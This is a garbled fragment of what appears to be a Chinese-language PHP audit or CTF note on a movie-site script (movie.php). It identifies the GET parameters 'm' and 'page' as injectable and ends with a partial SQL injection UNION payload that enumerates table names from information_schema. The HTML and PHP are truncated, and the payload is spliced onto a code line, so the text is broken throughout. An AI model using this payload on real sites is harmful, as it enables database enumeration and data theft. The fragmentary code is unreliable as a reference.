DOCTYPE html>
html>
搜索echo $q?>-echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?...>
存在可控参数_GET['m']和_GET['page'],开头引用了inc.php,试着找一下输出语句。发现输出语句
echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?...,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16